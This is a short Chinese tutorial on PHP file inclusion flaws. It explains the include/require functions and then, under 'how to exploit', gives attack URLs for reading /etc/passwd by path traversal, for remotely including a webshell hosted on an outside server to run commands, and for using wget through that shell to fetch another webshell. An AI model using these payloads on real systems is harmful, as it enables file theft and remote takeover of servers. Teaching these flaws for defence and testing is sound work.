1.原理
服務(wù)器通過php特性(函數(shù))去包含任意文件時(shí)候,由于未對(duì)文件來源進(jìn)行過濾,從而造成包含一個(gè)攻擊者惡意構(gòu)造的文件,造成威脅。
php中有四個(gè)函數(shù)可用于文件包含,分別是include(),require()和include_once(),require_once()。
include()函數(shù)可包含文件,當(dāng)包含外部文件發(fā)生錯(cuò)誤時(shí),系統(tǒng)會(huì)給出警告,但文件會(huì)繼續(xù)執(zhí)行。
require()函數(shù)可包含文件,當(dāng)包含外部文件發(fā)生錯(cuò)誤時(shí),系統(tǒng)會(huì)給出警告,但文件會(huì)停止執(zhí)行。
Include_once:這個(gè)函數(shù)跟include函數(shù)作用幾乎相同,只是他在導(dǎo)入函數(shù)之前先檢測下該文件是否被導(dǎo)入。如果已經(jīng)執(zhí)行一遍那么就不重復(fù)執(zhí)行了。
Require_once:這個(gè)函數(shù)跟require的區(qū)別 跟上面我所講的include和include_once是一樣的。所以我就不重復(fù)了。
2.為什么要包含文件
因?yàn)槌绦騿T不想重復(fù)寫同樣的代碼,也不想代碼復(fù)制多遍,通過包含的方法就可以直接使用里面的代碼不需要再進(jìn)行其他操作,所以大量地解放生產(chǎn)力。
3.如何利用
A:包含讀出其他的文件
利用應(yīng)用程序?qū)ξ募幍膮?shù)過濾不嚴(yán)的漏洞,讀取其他文件,例如指定URL為:http://hi.baidu.com/m4r10/php/index.php?page=./txt,這樣可以直接讀出該路徑下面所有的txt文件,你可以用這種方法探查某文件存在與否,如果該地方參數(shù)未對(duì)../進(jìn)行過濾的話,那你可以利用../來跳出當(dāng)前路徑,如果他的權(quán)限比較高的話,那你甚至可以進(jìn)行輸入絕對(duì)路徑試一下,例如http://hi.baidu.com/m4r10/php/index.php?page=/etc/passwd。
B:遠(yuǎn)程文件包含可運(yùn)行的PHP木馬
如果目標(biāo)主機(jī)的"allow_url_fopen"是激活的(默認(rèn)是激活的,沒幾個(gè)人會(huì)修改),我們就可以有更大的利用空間,我們可以指定其它URL上的一個(gè)包含PHP代碼的webshell來直接運(yùn)行,例如http://hi.baidu.com/m4r10/php/index.php?page= http://www.xxx.cn/cmd.txt?cmd=ls,cmd.txt為小馬,可執(zhí)行cmd命令,cmd=為接受命令參數(shù)。
C:包含一個(gè)創(chuàng)建文件的PHP文件
這種方法可有兩種手段
1.通過wget方法來下載一個(gè)webshell
例如http://hi.baidu.com/m4r10/php/index.php?page= http://www.xxx.cn/cmd.txt?cmd=wget .........
2.直接創(chuàng)建一個(gè)新文件
如果主機(jī)禁用了wget這個(gè)命令或者當(dāng)前目錄禁止寫操作,那就使用一個(gè)可以創(chuàng)建文件的腳本,找一個(gè)可以創(chuàng)建文件的目錄進(jìn)行創(chuàng)建。